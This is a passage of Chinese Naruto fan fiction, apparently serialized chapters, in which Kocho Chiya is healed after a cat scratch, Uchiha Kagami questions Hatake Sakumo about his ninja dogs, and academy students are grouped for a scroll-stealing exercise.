写轮眼中的勾玉旋转,笑着转头接话的小狗梅开二度地晕了过去。
眼看着连镜前辈也进了医疗室,孤零零一人站在外面的美琴不知所措地抱住还温热的丸子包装袋,犹豫两秒后小心翼翼地从门缝蹭了进去。
“比鲜鱼还活蹦乱跳。”和古蹊千弥你追我逃,热出汗的纲手坐在转椅上看着前辈,“帮大忙了,给她放床上就行。”
“这个……好像不行。”
看着弟子给手术刀消毒的纲手抬头,琥珀色的眸子盯着疑似“叛变”的前辈。
“我的手动不了了。”抽了两下,确认自己被死死抓住的镜苦笑。
“真是爱惹麻烦的小鬼啊。”纲手叹气,抬手,一招乱身冲用在了千弥身上。
千弥变得软趴趴的了。
宇智波美琴看着意识全无的小伙伴,急得团团转。
“宇智波……美琴,是吧?放心,猫抓得没那么严重。”正指挥学徒冲洗伤口的纲手听到细小的抽泣声转了半圈,认出这是千弥和弟弟的朋友,随手将千弥之前握在手中的丸子串塞进美琴手里,“只是吓唬吓唬她,给这个小兔、咳……千弥点教训而已。”
“纲手大人。”药师野乃宇仔细地检查千弥脸上的伤口,确认伤口已经清理干净后起身站定,微笑着等待下一步指示。
“接下来用掌仙术愈合伤口。”纲手转头指挥这位相当有医疗天赋的优秀弟子,“这可是难得的人类实验体,要认真对待。”
绿莹莹的医疗查克拉覆在古蹊千弥的眼睛上,比对待鱼和兔子更为珍重地对待古蹊千弥,药师野乃宇全神贯注地控制查克拉的输出,回复道,“是。”
“伤口逐渐消失了!”
宇智波美琴的四年级选修方向是投掷术,朋友们当中只有绳树一个坚持到底的“医学生”,但还是个半吊子。她还是第一次如此近距离地见识到医疗忍术的力量。
“做得好,野乃宇。”
纲手看着眼神间流露出憧憬之色的美琴,趁机发出邀请,“五年级会重新填报选修课志愿。如何,要来我的课堂吗?也许千弥再受伤,你就可以像野乃宇一样,用自己的力量帮助她愈合伤口哦。”
宇智波镜看到美琴毫不犹豫地点了点头。
彼此珍视的友情啊……真是宝贵。镜在内心感慨。
不过,他的学生是不是被纲手姬当着自己的面给抢走了?
镜忍不住提醒跃跃欲试的后辈,“美琴,医疗忍术是阳遁忍术。”
不是他故意泼冷水,但他们宇智波一族出一名优秀的医疗忍者的概率比开眼率还低。与阳遁相对的阴遁,以精神能量为源的阴之力量才是他们的强项,也是写轮眼开眼的关键。
“也会教基础的医疗知识哦,战斗方面的技能也不会落下的。况且,千弥平时经常磕磕碰碰的吧。”纲手不经意地感慨,“那孩子可是比绳树还容易受伤的皮猴子呢。”
“我要学!”宇智波美琴攥紧了拳头。身为宇智波,她绝不会因难而退!
他这是被同族毫不犹豫地抛弃了啊。宇智波镜苦笑。
“那个……”被忍猫抓出的伤口已经愈合如初,瓷白的脸蛋上看不出一丝伤痕。美琴看看纲手姬又看看镜前辈,“千弥可以醒过来了吗?”
“当然。”
查克拉注入身体,幻术被解除。在三个人的注视下,千弥抽搐了一下。
弯曲左手的拇指,右腿内扣;扭动脖子,手腕外翻。
她的身体发生了超级不得了的变化!
沉迷于各种测试,千弥沉默地摆出了四肢着地、下巴抵胸、头着地、屁股撅上天的诡异奇行种伏地姿势。
动哪里可以移动脖子来着?现在这个样子,她无法呼吸……
看着千弥挑战人体极限、满床乱爬,宇智波美琴眼泪哗啦啦地流。
“等我用医疗忍术——”
纲手的声音忽然止住,镜随着纲手的视线看向美琴——宇智波美琴开眼了。
一颗勾玉被浸在泪水之中。
少女哭着跑上前,把四肢乱飞的偷摸大鸡抱进怀里,“呜哇啊啊啊!”宇智波美琴哭得上气不接下气,“不要变异啊,千弥!只要你能恢复正常,我就再也不联合鹿久他们逼迫你学习了!”
被这样抱住,她真的呼吸不上来了!千弥憋得满脸通红,心脏噗通噗通地狂跳。
手手手,活动哪个部位可以拍手来着?!
她要求救!
“喵喵喵喵喵!”
忍猫一族的聚居地乱了。
传说中的魔王的最新画像在族地疯传。
“抱歉,前辈。我还是通灵不出橘太郎。”宇智波美琴垂头丧气。
通灵很多次,每次都是站都站不稳的幼猫,被反复通灵的猫崽子都会冲她哈气了。
虽然恢复了对四肢的支配力后千弥坚称是自己不受猫待见,与猫无关,但这件事在两个宇智波眼里还没结束。
“也许它已经意识到了错误,因为猫性高傲,所以才不肯露面。”很有责任心的镜也跟着叹气,“难道要去猫婆婆那里把它抓过来向千弥道歉吗?”
他看到美琴从身后掏出了一个卷轴,“虽然橘太郎不肯接受我的召唤,但换一个人的查克拉也许可以。”
宇智波美琴将全部的希望寄托在镜的身上,“前辈,和忍猫签订契约吗?”
还是按了手印。
“是新人喵嗷!”这次出来的是一个一身黑皮的卷毛猫,“本大爷是镜子(kagamiko)喵嗷。”
名为镜(kagami)的宇智波镜:“……你好。”
“报上名来,卷毛小子。”抱着酒瓶的卷毛猫高高地翘脚,醉醺醺地舔了舔腿上的毛,“看在同为卷毛的情谊上,每次召唤本大爷只要上贡10条小鱼干,知道了喵嗷?”
不想和这只酗酒的醉猫重名、与这只卷毛猫没有情谊可言更不想莫名其妙要给猫“上贡”的镜:“……”
“我还是再召唤一只猫出来问话吧。”宇智波镜好似无事发生般转过头,神色平静地看着捏住鼻子、试图靠在墙角躲避臭烘烘的酒气的美琴,“你觉得呢,美琴。”
宇智波美琴狠狠地点头。
“小瞧本
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大爷吗?给你们露一手好了!”
把酒瓶放在地上,挥爪子表演乱抓却啵地把爪子插进酒瓶瓶口的猫拔不出猫爪子了。
“救命啊喵嗷!”镜子两脚着地,将套在爪子上的酒瓶甩出了残影。
宇智波镜、宇智波美琴:“……”自顾自地闹什么呢。
“关于橘太郎你知道些什么?”一把握住酒瓶,把连在酒瓶上的猫一并提溜起来的宇智波镜托住卷毛猫,将瓶子捏碎。
“那家伙弄到了恶魔的最新画像,现在是猫族的名猫啊喵。”酒醒一半的镜子像个大爷一样叉着腿窝在镜的怀里,“那些家伙也是的,竟然畏惧区区人类。”
“恶魔是人类?”美琴捏着鼻子凑上前,“那个人类的名字叫什么?”
古蹊千弥。镜在心里作答。
“古蹊千弥啊喵。”镜子打了个酒嗝,把美琴熏得三米远。
“为什么?”捏了个风遁驱散酒气,镜低头看着这只卷毛猫。
“那家伙一岁不到就在自己的衣服上印满了我们一族大明星的nude photo招摇过市啊喵。”镜子拍拍肚皮,“这个世界上没有比她更可怕、更邪恶的人类了。”
“裸、裸?”美琴有些说不下去,猫怎么照那种照?难道要把蔽体的猫毛剃光吗?
千弥小时候要是真的干出了这种事,就算是她也很难为千弥开脱辩解啊!美琴有些绝望。
最重要的是,这真的很千弥!
怎么办?她要站在友情这头,还是正义那边?
“是猫肉球吧。”镜无奈地看着明显陷入胡思乱想的美琴,低头询问镜子。
身为一名宇智波,他的通灵兽虽然不是忍猫,但在采购定制的武器时多少对忍猫也有了一定的了解。
“没错,被夺走肉球就像人类被扒光衣服拍照,而古蹊千弥在自己身上印了满满一身的猫肉球。”
没什么羞耻心的镜子不怕古蹊千弥,但那些自小在恶魔传说中长大的幼猫们可不一样,应激已经刻进骨子里了。
虽然对猫不太友好,但听起来总感觉有点可爱啊。在内心为自己不信任偷摸大鸡的人品感到羞愧,但与此同时,宇智波美琴已经幻想出一个穿了一身梅花印的小千弥的模样了。
小时候的千弥用什么印猫肉球的呢?墨水?如果是墨水的话,按照千弥的个性,脸上应该也会有很多梅花印。
“你可以回去了。”
已经知道了来龙去脉,镜把猫放在地上。
“你还没告诉本大爷你的名字呢喵嗷!”卷毛猫凑了上去。
“宇智波仙贝(前辈)。”
“再见了,仙贝。”得到了名字,卷毛猫满意地化作烟雾。
“前辈。”宇智波美琴表情复杂,“你也千弥化了吗?”
“什么?”镜愣了两秒才反应过来美琴是指谐音梗,笑道,“偶尔这样也挺有意思的,でしょう?”
鬓角长长的卷发随着他下意识歪头的动作晃动了两下。
“前辈已经过了扮可爱的年纪了。”美琴吐槽,“镜前辈就这么不想和镜子结缘吗?明明很像啊。”
“先不说这个了。”宇智波镜转移话题,“那个流传于忍猫一族的传说你想怎么处理?”
“既然连千弥自己也不在意这件事,还是不要再给千弥徒增烦恼了。有机会就在橘太郎和其他忍猫面前为千弥辩解两句吧。”美琴看着夕阳,叹气道,“总归还有最喜欢千弥的汪酱们呢。”
汪酱?镜想到自己曾透过忍校教室的窗户看到过的和朔茂的忍犬很像的犬。
等等?很像?
有些久远的记忆在宇智波镜的脑海中开闸泄洪——
去辻大人家学习厨艺那天,千弥从外面带回来的犬……
知道未来的古蹊千弥可能和旗木朔茂育有一子,但这是不是太蓄谋已久了?!
43.记一次谈话
老实本分的可靠后辈,旗木朔茂,危险等级急剧上升。
忍犬、医院、未来……有些事一旦细想就刹不住车了。古蹊夫妇家有各式各样的犬玩具和犬零食。客厅的一角更是布置了一个很大、很大,铺了一层厚厚的软垫,连人都可以一并躺进去的狗窝。
身为忍者自当洞烛机先,可他竟然因此就轻率地以为犬是古蹊家天然的成员!
镜努力在脑中回忆蘑菇中毒前那一段时间,自己在古蹊家的经历。时间间隔得远,但这一天给他的印象着实深刻。朔茂在自我介绍后就几乎没再开口,他很熟络地坐在地上给狗梳毛!他当时竟忽视了这一点,只当是忍犬使照顾犬的习惯使然!
辻大人似乎也不是个百分百合格的父亲——不过是未来的赘婿,竟然这么早就带进家门,未免对朔茂太放心了!
擅长用写轮眼构建各种幻术场景,被自己脑补出来的泥头车创飞十米远的宇智波镜深呼吸,犀利地目视前方。自诩责任深重的男人毅然下定决心承担起了守护古蹊千弥的任务。
既然应下了二代目火影大人关于保护古蹊千弥的嘱托,那么除了那孩子的生命以外,自己也不能忽视千弥的心理健康。
未来的古蹊千弥可以喜欢比她年长的朔茂,但那必须是古蹊千弥心智成熟以后,在经过反复思考与权衡,自愿、主动地选择和朔茂在一起,绝不是事先被忍犬刷满了好感,于是忠实的狗派为了八只忍犬跟了一个养狗的男人这种过家家式的禁忌桥段!
未来如果真是这种走向,身为前辈,他决不能放着疑似走向犯罪歧途、堕入深渊的后辈置之不理,更不能放任被毛茸茸迷了心窍的千弥就这么草率地和朔茂结婚生子!
两人的主职一个是暗部分队长,一个是影卫队成员。没有火影大人亲自下达的合作任务,宇智波镜和旗木朔茂在工作上的交集十分有限。但如今,没有任务时他们会摘下象征暗部身份的面具,在木叶忍者学校各自兼职教师。
坐在长椅上的镜捏着一片半黄半绿的桉叶、安静地凝视叶片铺展开的深色脉络。等了许久,他出声叫住了训练完学生们正要离开训练场的银发男人。
“前辈?”正在思考今天轮到给哪只往外跑的忍犬洗澡,听到有人念自己的名字,旗木朔茂循着声音看向声源处。
“我们聊聊,”宇智波镜看着周身的气度一如既往的平和的后辈,“古蹊千弥的事。”
以为镜前辈想和自己分享在忍校授课的心得,他十分自然地坐在前辈边上。
等等,前辈刚才说要聊什么?猝不及防地听到千弥的名字,旗木朔茂顿感坐立不安。
生怕自己思想悄然滑坡,他一直很努力地避免和那孩子发生交集,甚至连卡密都不做很久了!
“前辈?”旗木朔茂转过头,敏锐地发现前辈看自己的眼神有些……晦暗?
那应该是树荫的阴影吧?旗木朔茂眨了眨眼。
“古蹊千弥称自己为‘忠实的犬派’。”直奔主题的镜盯着朔茂的眼睛。
他发自内心地不希望那双眼睛里生出任何慌乱的情绪。
“是这样没错。”旗木朔茂点头,这件事他一直有所耳闻。
忍犬们对此蜜汁骄傲,还想去千弥面前扮下凡的神使纪念“千弥成为犬派簇拥六周年”。计划得很周密,连买无味的彩虹色烟雾弹的钱都备齐了,可惜被最后一个被通知这件事的自己一口气拒绝了。
前辈的眼神实在炽热,不知道为什么连写轮眼都用出来了,旗木朔茂下意识地侧过头。彼此是同伴,那是不是直视写轮眼也没关系?
“那么是你让忍犬诱导她,让她变成犬派的吗?”看着朔茂狼狈地避开自己视线,宇智波镜的心脏在下坠。
他很欣赏的后辈难道……真是那种……不择手段的男人吗?
“怎么可能!”镜的声音在贤10的脑子里转了一圈,意识到前辈在问什么,旗木朔茂像坐在钉子上猛地从椅子上跳了起来,手化作一道残影,一秒结出五个印,“给我出来解释!”
他的风评怎么变成这样了?!
它们又背地里背着自己干了什么?!
“欸?”宇智波镜看着面对十数个敌人尚且面不改色,却因为自己的怀疑直接喊破了音的后辈眨了眨眼。
糟糕,真相好像和他想的不一样。赔顿饭能把事情轻巧地揭过去吗?
“汪,怎么突然召唤我们。”头上戴着伊丽莎白圈的斯托卡咬开魔术贴抱怨道,“不是早上还叫我们安生地在家等你给学生加训回来撮毛吗?说吧,又有什么工作?”
“解释!”头昏脑胀,原地转了三圈还散不去身上的热意,旗木朔茂揪起斯托卡的后颈皮强塞进前辈怀里,“你快说,千弥是犬派和我无关!”
他契约的根本不是普通的通灵犬!是一群尽会到处败坏他名誉的狗祖宗!
“汪,肉球给你玩,不要生气了,Sakumo。”坐在镜怀里的斯托开伸出毛茸茸的爪,见到契约使兀自埋头抱膝种蘑菇,它沧桑地叹气,“还是这么脆弱啊。”
“我会这样到底是被谁害的!”旗木朔茂又羞又气,头顶冒出白烟。
“真是长不大啊汪。”确认朔茂不会捏肉球的斯托卡收回爪,在宇智波镜的大腿上转身,“千弥当然是犬派了。我们可是随时愿意贡献肉球给千弥捏的犬,不过是一件肉球衣就把千弥挠成花脸猫的猫能做到吗?”
这只忍犬似乎说出了什么了不得的密梓。
“肉球衣?”宇智波镜追问。
斯托卡趴在镜的身上耸着湿漉漉的鼻子嗅嗅,“不愧是宇智波,身上一股猫味呢。”
推了推朔茂,发现契约使没有反应的西洛爬到旗木朔茂头顶,懒懒地回答镜的问题,“是一件由猫肉球印和狗肉球印组成的白色短袖啊汪。”
据说猫和狗天生不合,猫肉球又有那样的特殊含义……宇智波镜觉得千弥被忍猫一族唤做“魔王”也没那么冤枉。
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“花脸猫?”旗木朔茂不知何时抬起头,趴在朔茂头顶的西洛顺势滑到了他的背上,蹬蹬腿,白犬像毛巾一样挂在了朔茂肩头。
“你们想知道千弥小时候的事?也是,毕竟,这个世界也只有我们还记得那些旧事了。”黑白双拼的库洛趴在椅子上,甩了甩尾巴。
两个人闻言沉默地低下头——辻大人和海未大人走得太早了。
“说到底,那只猫还是斯托卡你引回家的。”橘白色的小狗闭上一只眼,“因为你教小千弥念朔茂的名字。”
知道有这回事,但头一回听到细节的旗木朔茂惊愕地睁大眼睛,他的忍犬真是作恶多端!
“还教小千弥学狗叫。”茶色忍犬和长须牧羊犬在草地上叠叠乐,“不然,海未大人绝对不会从朋友那里借猫回家。那段时间,我们都被你牵连了。”
“你们教的难道就很好嘛汪!”听着部下们你一言我一语,纯白色的斯托卡狗脸上露出桀骜的神色,“人类幼崽就应该学人名。你们这些悄悄教千弥念自己名字的家伙可没有资格指责我。”
“那为什么要教千弥说我的名字?”旗木朔茂发现自己完全无法理解狗脑子,战斗时有多默契,现在就有多懵圈。
“身为子女念父母的大名在人类世界是不敬吧。”斯托卡留给朔茂一个酷拽的侧脸。
因为是人名,因为不用担心尊卑,所以被忍犬教给千弥,却被害惨了的苦主旗木朔茂:……
犬冢一族有没有检查狗脑子的技术?他要受不了了。实在救不了,换脑也行。
前因后果大致推测出来了,宇智波镜看着这群毛茸茸没什么坏心的忍犬松了口气。
千弥的心理健康危机警报大致解除,现在要面对的,是他和朔茂间岌岌可危的友情。
不过——
“你真的没有不该有的想法吧,前面是地狱啊。”宇智波镜苦口婆心。
道德上会被人唾弃的,木叶隐村村民的唾弃尤其可怕。听说为了治理村子里的流言、挽救倾颓的民风,加藤断在三代目火影大人的授意下和一些忍者组成了专门的□□大队。
能者多劳,断现在一个人打三份工,一头长发都没往日有光泽了。
“前辈!”旗木朔茂悲愤地大喊。
身边的人怎么都这个样子!他都对外声称是不婚主义了还是挽救不了自己的名誉吗!
“红豆泥私密马赛!”宇智波镜起身,对着朔茂九十度鞠躬。
被前辈郑重地致歉,这下又轮到朔茂不知所措了。
宇智波镜见状转移话题,“要谈谈教学心得吗?”他叹气,“我的学生被纲手姬当着面抢走了。”
“前辈学生很多。”旗木朔茂盯着毛里杂着泥和草的忍犬。
长毛不好清理,他今天有的忙了。
宇智波一族擅长投掷术,慕名而来的学生确实很多的宇智波镜:怎么感觉朔茂的话那么有攻击性呢?
再一次鞠躬道歉还来得及吗?
44.三与六的跨级演习
“今年的团体实践将会同六年级联合举办。”
讲台前的班主任话音刚落,底下这帮学生就大胆地交头接耳,发出了如百千只蝗虫过境般干压压的讨论声。
“六年级的话,我们可是有不少认识的朋友呢。是吧,黑丸!”精神十足的爪扬起一边的眉毛,询问自己的搭档。
“汪!”黑丸很默契地把下巴搭在爪的手心。
“为什么突然跨年级合作?”原本还在埋头苦算敌人本体坐标的千弥瞄了一眼似乎是等待他们自觉安静下来的绿马甲老师,“临近毕业,六年级的团体活动是实战演习吧。我们也要实战吗?”
按照往年的惯例,他们今年的实训内容应该是去木叶郊外的田里帮村民割麦,夜里伴着馥郁的麦香与池畔的蛙鸣安稳地睡上一觉,干几天农活后各自回家躺尸。
水门听到千弥的疑问,心头也升起疑虑,“竟然连垮了两个年级,特意挑选三年级一起实训是有什么深意吗?”
他们这批学生是忍战结束后严格遵守“6岁入学”规则的一代,只有少数学生因为特殊缘故或是其他顾虑延迟入学,各方面能力也正处于一个不上不下的上升期。除了自小接受忍者训练、出身忍族的同学,在那群已经具备下忍素质的六年级前辈们眼里,他们这些低年级大概只有手里剑水平勉强够看。
“无法理解那就只有一种解释了——”
“什么?什么?”捕捉到千弥刻意卖关子的动静,玖辛奈转身跪坐在椅子上,上半身借着手臂的支撑斜倾,几乎要贴在千弥面前。
千弥竖起一根手指,见水门他们也都看过来,这才悠悠地弯着嘴角,揭晓答案,“有阴谋。”
“这是什么解释嘛!”身体仰回去的玖辛奈吐槽,结果却听到——
“确实,天上不会掉馅饼。”波风水门认同地点点头。
这些年的相处,玖辛奈发现自己在金毛犬面前吃亏不算冤,比如拍马屁的功夫她就永远都比不上水门。不管千弥说什么都能抱以鼓励和夸赞,呼噜呼噜地顺毛,听不见一声忠言的千弥就是被这群人悄无声息地给“溺爱”坏掉了!
有极力推行狼性文化、鼓励相互竞争的团藏校长长期“盘踞”在忍者学校,学校“风向”的突然变动很难不让人阴谋论。这种让人摸不着头脑的安排,怎么看都不像是三代目火影大人的手笔。
“能和他们一起实践总归是一件很难得的事吧。”被嘀嘀咕咕地猜测、身上甚至隐隐散发出阴暗气息的二人组感染,香奈有些不安。她焦虑地用手指卷起衣摆的系带,望着玖辛奈寻求认同。
“不管什么事,只要我们在一起就没问题!”玖辛奈挺直腰杆给香奈传递力量。
“好了,安静点。”见那个以古蹊千弥为核心,令师生不敢轻易招惹的邪恶小团体解散,中忍教师清了清嗓子,拍拍手说道,“下面是分组名单,所有人注意听自己的名字。明天早上8点,在301教室和同组的搭档汇合。”
“欸?好早,几乎没有准备时间。”玖辛奈的下巴嘭地落在桌子上。
事先被分好组,那她还能和偷摸大鸡续上友谊的小火花吗?
每当一个名字从老师口中被念出来,有些人的心脏就紧跟着轻颤。
“第六组,漩涡玖辛奈——”
“是我!”终于到她了,玖辛奈紧张得身体发抖,千弥、千弥、千弥!
“漩涡香奈——”听到自己的名字,香奈松了口气,有认识的人在一起真是太好了。
只剩下两个名额了,但玖辛奈并不灰心。按照前面几组的分组情况,已经充分证实了三、六两个年级组成的四人组合并不是平均分配。她还有机会!
“油女志微、绳树。”
嘭!玖辛奈的额头也撞上了桌面。
“太好了,大家都是认识的朋友。”千弥替玖辛奈和香奈高兴,额头火辣辣的玖辛奈点点头,忍着落寞,又暗戳戳地忍不住紧张起来——金毛犬不会这么幸运吧?!
自己同千弥之间的友谊火炬难道要被这家伙接手了吗?!
便宜谁也不能便宜金毛犬啊!
“第七组,古蹊千弥——“
听到千弥的名字,一头艳红色长发的少女开始了新一轮的虔诚祈祷——没有金毛犬、没有金毛犬!
“奈良鹿久,山中亥一,秋道丁座。”
“我也很幸运。”千弥只惊讶了一瞬,没注意到坐在前排的偷摸大鸡动作极为隐秘地在胸前做出了一个胜利握拳的手势。
太好了!
因为没坐在玖辛奈正后方,故而从侧面将玖辛奈的小动作尽数收进眼里的波风水门笑盈盈的,“这样一来,大家就都是竞争关系了。我很期待和千弥做对手呢。”
“我们可不会输。”千弥笑着用肩膀撞了一下水门。
一点也不期待和偷摸大鸡做对手的玖辛奈听到水门的话,眼睛变成了空洞的线圈,连原本因为彼此之间熟识而浮现出欣喜之色的香奈也变成了灰白色。
对啊,成为竞争对手的话,难道要她们去打千弥吗?不仅如此,千弥身后还跟着脑子甩他们一圈的影子操使、擅长心转身的亥一、大力出奇迹的丁座,猪鹿蝶组合可以说是一心异体的绝世好拍档。
她们这边……玖辛奈和香奈在心里默默地计算胜率。
不是她们看不起绳树,但从目前已经拉到562:37的悬殊战绩上看,她们望不到希望啊!
至于志微,这段时间和千弥、志黑披星戴月地满木叶翻石头、扒树叶观察、记录虫子,写昆虫笔记,从沉默寡言、存在感稀薄的高冷男变成火热系男子的油女志微……以他和千弥最近的关系来看,别说放海,不反水就谢天谢地了。信不过,根本信不过!
“第八组,波风水门、油女志黑、日向日足、宇智波美琴。”绿马甲的分组还在继续。
“第九组,犬冢爪、日向日差、白云早间、鞍马云海。”合上名册,又提点了几句和高年级相处时的注意事项,中忍教师下令原地解散。
“彼此都是很强劲的对手啊。”发出一声长长的感叹,千弥惬意地和爪在树下背对背倚靠,“爪虽然没有同级的伙伴,但也不用担心啦~虽然日向一族的人乍一看很像酷哥,但日差不太一样,是一个很温柔的人,体术也很强。至于白云早间……不了解,但那位鞍马云海,出自很有名的幻术忍族。”
“谢谢你的情报啊,千弥。”因为太了解小伙伴们的实力,本来就很担心实训成绩的爪听完千弥的安慰嘴角抽搐,连心脏都隐隐地发紧。
至于千弥那组,知道情报又如何?配置逆天了啊!到底是谁分的组?一点也没考虑各队伍的综合水平。
“很难赢啊。毕竟千弥对抗幻术的能力已经很强了。”波风水门盘着腿坐在千弥对面,苦恼地揉了揉金发,“志黑……因为毒虫的缘故不好对同伴出手。体术方面,千弥在日足前辈面前根本没输过吧。”
他偶尔也会加入千弥的周末特训,曾亲眼见过千弥在近战上压着日足前辈打的场面。
听到水门对自己的认可,千弥当即容光焕发,洋洋得意地撩起鬓边的碎发,“谁让我是珍兽前辈的首席弟子呢~哼哼哼~”
波风水门“唉——”地长叹一声,顺势软软地倒在千弥腿上,碧色的眼睛和千弥垂下的眼眸对视,他忽然露出一抹愉悦的笑,“果然只能奇袭,分散击破吗?”
“金色向日葵的本体竟然是长着金色伞盖、迷人心智的菌菇吗?”千弥屈起膝盖,又把腿伸直,来回地掂了两下,直到听到了水门嘶嘶地闷哼才终于老实。
她神采飞扬地指出水门奇袭计划中的漏洞,“有鹿久很难输吧。区区小诡计,鹿久只要一眼就能看破啦!”
“千弥很依赖鹿久呢。”波风水门感叹。不仅如此,千弥也很听鹿久的话。
“什么依赖?”自诩要做大人却迟迟长不大的千弥有些心虚地嗷呜一口吃掉随风飘到唇前的落花,嚼嚼,“这明明是信任!”
刚解散就被绳树抓去探讨战术的玖辛奈看着樱花树下和千弥背靠背的爪、享受膝枕的波风水门,卷着淡粉色的晚樱,风一般滑躺到千弥的另一条腿上,一边枕着还不
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忘拍拍,指出不足,“软肉有点少啊。”
“躺在人家腿上,你竟然还嫌弃起来了!”千弥扯着散落到手背的鲜红色长发,色厉内荏,“我要给玖辛奈扎100个梳不开的小辫子作为报答。”
“随你啦。”玖辛奈带着笑意的声音渐弱。
反正千弥只会嘴上说说。
“明明知道我最喜欢大家了,竟然还用这种满不在乎的态度对待我,好过分,好伤人!”
“汪!”黑丸从爪怀里跳到千弥头顶。
“还是你好啊,黑丸。”捏捏肉垫,千弥把黑丸举在半空,语气幽怨,“黑丸,玖辛奈好坏啊。”
“汪!”小狗抬爪拍了拍千弥的脑瓜。
“真是的,明天就要和高年级一起参加实战,那帮家伙却一点也没有紧张感啊。”收到绳树的必胜宣言,稍晚些出来的奈良鹿久双手抱着头,看着在树下倒成一片的人和犬。
“没有紧张感这一点,鹿久也一样吧。”擅长洞察人心的亥一看着变成垫子的千弥,原本因忧虑染上焦色的眉毛逐渐舒展开,“我们会保护好千弥的,对吧。”
“当然了。”丁座回答。
水门那一组,每个人都很强。漩涡加上绳树、油女的组合也不容小觑。
奈良鹿久没有立刻回答亥一的话,一双无精打采的眼睛望着花瓣飘零的蓝天——
千弥像吃了打气筒一样高速膨胀的数值就连拼了老命修行的绳树都追赶不上,倘若被其他组联合起来针对打击,他们三个反倒成为可能拖累千弥短板......等等!他不会反过来在千弥面前出丑吧?!
在千弥面前一向挺直了腰杆,用智慧筑起屏障,成为笨蛋千弥的倚仗的奈良鹿久手心冒汗。
水门速度很快、出手利落;玖辛奈的力量、香奈的爆发力和身为漩涡一族具备的庞大查克拉量,再加上三人都从水户大人那里学习了封印术......奈良鹿久驻足,大脑飞速思考六年级这边的情况。
绳树除了遁术,这几年还跟着纲手姬学会了医疗忍术里极具破坏性的攻击手段,志微、志黑的毒虫兼具侦查和攻击两种能力,白眼侦查、点穴,写轮眼……
按照最糟糕的可能性一路推演下去,奈良鹿久额头上逐渐浮出汗水,被众人合伙围殴的话,他们的胜率并不乐观。
带着千弥输?绝对不可能。
“亥一、丁座,”奈良鹿久身上散发的懒散气质发生了变化,背在脑袋后的手不知何时垂下来,变成了一个抱胸的保护性姿势,“保持警惕,明天决不能大意。”
“我们当中竟然是鹿久先认真起来了啊。”丁座点头,“我知道了。”
“猪鹿蝶千弥组合的出道战啊。”亥一感慨,这可以排进六年级难忘时刻的榜首了。
目前排名第一的是被千弥半夜从家里卷去森林里看萤火虫。
“我觉得猪鹿蝶犬更好听。”丁座向亥一提出建议。
“你说得对。”山中亥一欣然接受丁座的提议,改口道,“猪鹿蝶犬的出道战。”
“等等,你们这名字还有审美吗?”奈良鹿久拒绝接受奇怪的组合名,甚至用“简直不可理喻”的眼神看着亥一。
他依稀记得他们俩的审美曾是在一条线上的。
“嘛~”亥一背着手,搓了搓色米黄色的长发,“不好听吗?”
“犬听起来和犬冢关联度更深吧。”奈良鹿久发表自己的见解。
“你说的也对。”亥一思索,“难道要用‘鸥’代称千弥吗?”
为什么会纠结那种无用的东西啊!
“千弥叫千弥不就很好听吗?”
“你说得对。”
“等等啊,亥一。”丁座拉住没有立场的伙伴,“明明有代号才更像组合吧?”
“千弥用自己的名字就很好。”奈良鹿久可没忘记那只对自己没有好脸色、用屁股对着自己的记仇笨鸟。
“修饰一番明明也别有美感。”
“好啦~好啦~”亥一从中调和。
他们这是出道战之前先内讧了吗?!
45.绳树的诅咒
“你们将从东西南北四个入口先后进入森林。”志村团藏的声音比阴云密布的天还森冷。
“任务是保护手中天、地、人三卷卷轴,躲避不定时突袭的同时将卷轴完好地送到指定地点。”志村团藏站在曾就职校长讲话的高台上,看着下面窃窃私语,甚至不以为意的学生们,他冷了声音,带着风雨欲来的压迫感,高声道,“但是,现在你们手中的三卷卷轴其中有两份是假的。”
“喂喂,这样未免也太乱来了。”奈良鹿久睁大眼睛。
在看到所有队伍都得到三卷卷轴的那一刻,他以为这是师生之间的猫鼠追击战。如今为了凑齐另外两卷真卷轴,各小队之间无论如何都会存在利益冲突,这样一来,不同队伍几乎没有合作空间。
志村团藏还在宣读规则,“如果想完成任务,就去抢夺其他小队的卷轴;相反,如果无法保护好卷轴,你们可以选择将手中唯一的真卷轴销毁。限时三天,集齐真正的卷轴并上交到指定地点即通关。”
“假卷轴是空白的,集合地点将在第三日中午以升烟的方式确定。”宣读完了规则,志村团藏补充道,“记住,任务是忍者的生命。”
“以任务为重?只看卷轴的结果论啊。”站在人群里的千弥和水门遥遥对视,她又看了看不远处蓄足了精力左一拳、又一拳,“青春大爆发”的玖辛奈,“我们(三年级)会被舍弃吧。”
难怪找比上不足、比下有余的三年级做陪练。
相比于一、二年级的学生,他们已经具备一定野外生存能力,四、五年级都经历过特设课的训练,在六年级的前辈们面前已然算不上青涩。
半吊子状态的三年级是六年级正式踏上忍者一途的绝佳试刀石。
“瞎说什么呢。”奈良鹿久扯着千弥的小辫子,把人拽到自己身后。
六年级有120人,三年级84人,共分成51组。51卷真卷轴,可以组合成17套完整的卷轴,但争抢过程中对方还有自毁机会……但凡是脑子正常的人,在最后时刻都会选择鱼死网破吧?
一旦卷轴在打斗中被随机销毁,别说1/3的通关概率了,连1/10都是万幸。
“我们要在森林里生存三天啊。”丁座有些消沉,他的零食都被收走了,身上只剩下统一派发的压缩饼干、兵粮丸和自行挑选的忍具。
“放心,我可以捉鱼、蛇、挖蚯蚓、烤蘑菇来养丁座。森林里的食物很多,我不会让你饿着的。”
千弥的话还没说完,就收到了来自鹿久的拍后脑勺警告。
“丁座不需要你来‘养’,还有最重要的——不准吃蚯蚓、癞蛤ma、青蛙、蛇、老鼠、虫子,生的、煮的、烤的、过水的、电麻的都不准吃!蘑菇更是禁止。”
前些天一起在河边钓鱼,看到千弥对着铁盒里的活饵满心好奇,他的血压当场就上去了。
鹿久细长的眉皱起,他转头看着丁座,语气严肃,“这家伙的胃和我们不一样,丁座你绝对、绝对、绝对!不能吃千弥单独递过来的东西。”
还有千弥流血流汗也要赚钱养家的疾苦丈夫既视感又是从哪本书上学来的啊?!那种三流杂书水门还没收干净吗?
“听到了?”鹿久扯了扯千弥脑后的那一绺小辫子。
手中的发丝很柔软,是和千弥大大咧咧的性格截然不同的柔软。
“嘤。”千弥抱着头,决心等演习结束了就拜托水门帮忙把小辫子剪短,这个长度妨碍她行动了。
专制、暴力、冷酷、冲天辫!但在鹿久天然的威势压制下,这些话千弥只敢在心里说。
“嘛,我会看好千弥的,别担心了。”亥一给打卷儿的蔫巴小草擦叶片、喷水雾,认真护理一番,“一起加油吧,千弥。”
“亚撒西的亥一,赛高!”有话直说才是她一向的风格!
“在撇嘴呢,鹿久。”丁座看着一脸不爽的朋友,保守地猜测,“难道你也想被千弥夸吗?”
